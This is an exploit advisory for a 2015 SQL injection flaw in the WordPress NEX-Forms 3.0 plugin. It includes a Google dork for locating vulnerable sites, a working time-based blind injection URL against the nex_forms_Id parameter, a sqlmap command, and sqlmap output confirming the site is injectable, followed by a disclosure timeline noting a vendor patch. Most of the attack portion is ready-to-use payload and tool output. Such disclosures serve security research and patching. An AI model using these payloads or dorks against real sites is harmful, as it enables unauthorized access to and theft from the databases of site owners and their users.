WordPress NEX-Forms 3.0 SQL Injection

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# Exploit Title : NEX-Forms 3.0 SQL Injection Vulnerability  
  
# Exploit Author : Claudio Viviani  
  
# Website Author: http://www.homelab.it  
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)  
  
  
# Vendor Homepage : https://wordpress.org/plugins/nex-forms-express-wp-form-builder/  
  
# Software Link : https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.3.0.zip  
  
# Dork Google: inurl:nex-forms-express-wp-form-builder  
# index of nex-forms-express-wp-form-builder  
  
# Date : 2015-03-29  
  
# Tested on : Windows 7 / Mozilla Firefox  
# Linux / Mozilla Firefox  
  
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# Info:  
  
The "submit_nex_form" ajax function is affected from SQL Injection vulnerability  
  
"nex_forms_Id" var is not sanitized  
  
# PoC Exploit:  
  
http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)  
  
# Poc Video:  
  
http://youtu.be/04G08Cbrx1I  
  
# PoC sqlmap:  
  
sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10" -p nex_forms_Id --dbms mysql  
  
[23:15:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'  
[23:15:48] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable   
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]   
[23:15:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[23:15:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
[23:16:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'  
[23:16:07] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive  
GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]   
sqlmap identified the following injection points with a total of 85 HTTP(s) requests:  
---  
Parameter: nex_forms_Id (GET)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)  
---  
[23:16:34] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux CentOS 5.10  
web application technology: PHP 5.3.3, Apache 2.2.3  
back-end DBMS: MySQL 5.0.12  
  
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# Vulnerability Disclosure Timeline:  
  
2015-03-29: Discovered vulnerability  
2015-04-16: Vendor Notification  
2015-04-17: Vendor Response/Feedback   
2015-04-21: Vendor Send Fix/Patch (same version number)  
2015-04-21: Public Disclosure   
  
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Discovered By : Claudio Viviani  
http://www.homelab.it  
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)  
http://ffhd.homelab.it (Free Fuzzy Hashes Database)  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
  
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